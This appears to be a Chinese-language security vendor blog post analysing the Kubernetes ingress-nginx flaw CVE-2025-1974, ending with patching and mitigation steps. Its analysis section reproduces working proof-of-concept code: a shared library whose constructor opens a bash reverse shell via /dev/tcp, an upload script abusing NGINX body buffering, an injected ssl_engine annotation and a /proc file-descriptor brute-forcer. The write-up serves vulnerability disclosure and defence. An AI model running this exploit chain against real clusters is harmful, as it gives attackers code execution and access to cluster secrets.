IngressNightmare:揭秘CVE-2025-1974 Kubernetes RCE漏洞

IngressNightmare:揭秘CVE-2025-1974 Kubernetes RCE漏洞

原创 mag1c7 山石网科安全技术研究院 2025-04-19 01:00

图片

图片



Kubernetes安全警报:一个漏洞,足以颠覆你的容器帝国!



图片

在云计算和容器化技术日益成熟的今天,Kubernetes作为容器编排的领头羊,其安全性一直是社区关注的焦点。然而,最近发现的一个名为IngressNightmare的严重漏洞(CVE-2025-1974),让这个强大的平台面临了前所未有的挑战。这个漏洞允许未认证的攻击者在特定条件下执行任意代码,甚至可能导致机密信息泄露。这不仅是对Kubernetes用户的一次警钟,也是对整个云原生安全生态的一次深刻反思。本文将深入探讨CVE-2025-1974漏洞的原理、影响范围以及如何有效防范,让我们一同揭开IngressNightmare的神秘面纱

图片

一、漏洞描述

在Kubernetes中发现了一个安全问题,在特定条件下,能够访问Pod网络的
未认证攻击者可以在ingress-nginx控制器的上下文中实现任意代码执行。这可能会导致控制器可访问的机密信息
(Secrets)泄露。(请注意,在默认安装中,该控制器可以访问集群范围内的所有机密信息。)[1]

图片

二、漏洞条件

1.配置了ingress-nginx,且admission webhook默认配置

2.能够访问集群内部网络(因为admission webhook一般不对外开放)

Typically, only the Kubernetes API server should send these AdmissionReview requests. 
However, because the Admission Controller lacks authentication, an attacker with minimal network access could craft and send arbitrary AdmissionReview requests from any pod within the cluster. [2]

图片

三、漏洞分析

(一)正常情况下,用户提交ingress流程


图片

  • nginx -t
    命令只会测试 NGINX 配置文件的合法性,而不会应用配置。

  • During our review of the Ingress NGINX Admission Controller code, we identified an interesting code path: when it processes incoming 
    AdmissionReview
    [3]
     requests, it generates a temporary NGINX configuration file based on 
    a t
    emplate
     file
    [4]
     an
    d the p
    rovided Ingress object. It then tests the validity of the temporary configuration file using the 
    nginx-t

    command
    [5].
     We found multiple ways to inject new configuration directives in this code path. [1]

(二)漏洞原理


图片

攻击者在集群网络内直接向AdmissionWebhook发送恶意review(注入了nginx配置指令),AdmissionWebhook生成临时的Nginx配置文件,然后它在使用
nginx-t
进行检验配置文件时导致配置指令被执行。一般的Nginx配置指令无法起到代码执行的作用,但Wiz研究团体发现了
ssl_engine
配置指令能够加载共享库。

ssl_engine xxx.so

所以只需要让其加载一个恶意共享库文件即可。恶意文件共享库文件从哪来?通过上传即可!

首先要知道,
NGINX
客户端请求体缓冲区(
Client Body Buffers
)是指在
NGINX
服务器中用于存储和处理客户端发送数据的内存区域。这些缓冲区用于处理
HTTP POST
请求时客户端上传的数据。如果请求体的大小超过了配置的缓冲区大小(默认8kb
),
NGINX
将会将多余的数据写入临时文件
,而不是在内存中进行处理。这个文件会很快地被删除,但能够通过进程文件系统(
ProcFS
)访问,通过设置
Content-Length
请求头的长度大于实际长度,使得它的文件描述符(
eg:proc/pid/fd)
持续被打开。

所以只需要通过向开放的
Nginx
发送携带了恶意共享库文件的
POST
请求,
Nginx
将其写入临时文件,再通过向
AdmissionWebhook
发送注入了
ssl_engine/proc/pid/fd
的恶意
AdmissionReview
请求,当
review

AdmissionWebhook
转化成
Nginx
配置文件并执行
nginx-t
时,
ssl_engine
加载恶意共享库文件,从而执行任意代码。具体
攻击流程
如下:

PoC视频:https://github.com/user-attachments/assets/9e893abf-5c01-4fcb-ad79-7115b429281f。

1.生成恶意库文件 (.so 文件)。
– exploit.py

   def create_lib(host, port):              lib_code = open("lib_template.c", "r").read()       lib_code = lib_code.replace("HOST", host)       lib_code = lib_code.replace("PORT", str(port))              with open("evil_engine.c", "w") as f:           f.write(lib_code)           f.close()              #编译evil_engine.c 生成 evil_engine.so       process = os.system("gcc -fPIC -Wall -shared -o evil_engine.so evil_engine.c -lcrypto")       if process == 0:           print("[+] Shared object compiled successfully")           return True       else:           print("[+] Error compiling shared object - gcc is installed?")           sys.exit(0)
  • evil_engine.c
#include <stdlib.h>      __attribute__((constructor))   void run_on_load() {       system("bash -c 'bash -i >& /dev/tcp/HOST/PORT 0>&1'");   }      int bind(void *e, const char *id) {       return 1;   }      void ENGINE_load_evil() {}      int bind_engine() {       return 1;   }

2.向Nginx (ingress_url)发送恶意库文件,将其写入临时文件。

   with open("evil_engine.so", "rb") as f:           evil_engine = f.read()          real_length = len(evil_engine)       fake_length = real_length + 10       url = ingress_url            parsed = urlparse(url)       host = parsed.hostname       port = parsed.port  or  80       path = parsed.path or  "/"          try:           sock = socket.create_connection((host, port))       except Exception as e:           print(f"Error connecting to {host}:{port}: {e} - host is up?")           sys.exit(0)       headers = (           f"POST {path} HTTP/1.1\r\n"           f"Host: {host}\r\n"           f"User-Agent: qmx-ingress-exploiter\r\n"           f"Content-Type: application/octet-stream\r\n"           f"Content-Length: {fake_length}\r\n"           f"Connection: keep-alive\r\n"           f"\r\n"       ).encode("iso-8859-1")          http_payload = headers + evil_engine       sock.sendall(http_payload)          response = b""       while  True:           chunk = sock.recv(4096)           if  not  chunk:               break           response += chunk          print("[*] Resposta:")       print(response.decode(errors="ignore"))          sock.close()

3.向AdmissionWebhook_url 发送恶意 AdmissionReview(pid,fd不确定,需要爆破)。
– review.json

   [...]   "annotations": {             "nginx.ingress.kubernetes.io/auth-tls-match-cn": "CN=abc #(\n){}\n }}\nssl_engine ../../../../../../REPLACE;\n#",             "nginx.ingress.kubernetes.io/auth-tls-secret": "calico-system/node-certs",             "nginx.ingress.kubernetes.io/backend-protocol": "FCGI"           }   [...]
  • exploit.py
   def send_request(admission_url, json_data, proc, fd):       print(f"Trying Proc: {proc}, FD: {fd}")       path = f"proc/{proc}/fd/{fd}"              replaced_data = json_data.replace("REPLACE", path)          headers = {           "Content-Type": "application/json"       }          full_url = admission_url.rstrip("/") + "/admission"          try:         response = requests.post(full_url, data=replaced_data, headers=headers, verify=False, timeout=5)                   print(f"Response for /proc/{proc}/fd/{fd}: {response.status_code}")       except Exception as e:           print(f"Error on /proc/{proc}/fd/{fd}: {e}")      def admission_brute(admission_url, max_workers=3):       # before use review.json file, check if alico-system/node-certs exists on the cluster.       with open("review.json", "r") as f:           json_data = f.read()          with ThreadPoolExecutor(max_workers=max_workers) as executor:           for proc in range(1, 50): # can be increased to 100               for fd in range(3, 30): # can be increased to 100 (not recommended)                   executor.submit(send_request, admission_url, json_data, proc, fd)

注:admission_url为AdmissionWebhook的url;以上代码均来自[6]。

图片

四、修复建议

最简单且推荐的补救方案是
立即升级到最新补丁版本
。安装今天的补丁,就能修复所有这5个漏洞。

如果你暂时无法升级,可以通过关闭ingress-nginx的验证性准入控制器特性来显著降低风险。
– 如果你使用Helm安装了ingress-nginx

  • 重新安装,设置Helm参数
    controller.admissionWebhooks.enabled=false

  • 如果你是手动安装的

  • 删除名为
    ingress-nginx-admission
    的 ValidatingWebhookConfiguration

  • 编辑
    ingress-nginx-controller
    Deployment 或 DaemonSet,从控制器容器的参数列表中移除
    –validating-webhook

图片

五、相关链接

[1]https://nvd.nist.gov/vuln/detail/CVE-2025-1974

[2]
https://www.wiz.io/blog/ingress-nginx-kubernetes-vulnerabilities#what-is-ingress-nginx-controller-for-kubernetes-5

[3]https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/

[4]https://github.com/kubernetes/ingress-nginx/blob/0ef18ba7fb7ffe5491bbabbb510eee0d17e3ae2a/rootfs/etc/nginx/template/nginx.tmpl

[5]https://linux.die.net/man/8/nginx

[6]https://github.com/hakaioffsec/IngressNightmare-PoC/tree/main

[7]
https://cloud.tencent.com/developer/article/1697493

[8]
https://www.cnblogs.com/chen2ha/p/18469093

[9]
https://kubernetes.io/zh-cn/blog/2025/03/24/ingress-nginx-cve-2025-1974/

图片

山石网科是中国网络安全行业的技术创新领导厂商,由一批知名网络安全技术骨干于2007年创立,并以首批网络安全企业的身份,于2019年9月登陆科创板(股票简称:山石网科,股票代码:688030)。

现阶段,山石网科掌握30项自主研发核心技术,申请560多项国内外专利。山石网科于2019年起,积极布局信创领域,致力于推动国内信息技术创新,并于2021年正式启动安全芯片战略。2023年进行自研ASIC安全芯片的技术研发,旨在通过自主创新,为用户提供更高效、更安全的网络安全保障。目前,山石网科已形成了具备“全息、量化、智能、协同”四大技术特点的涉及
基础设施安全、云安全、数据安全、应用安全、安全运营、工业互联网安全、信息技术应用创新、安全服务、安全教育等九大类产品服务,50余个行业和场景的完整解决方案。

图片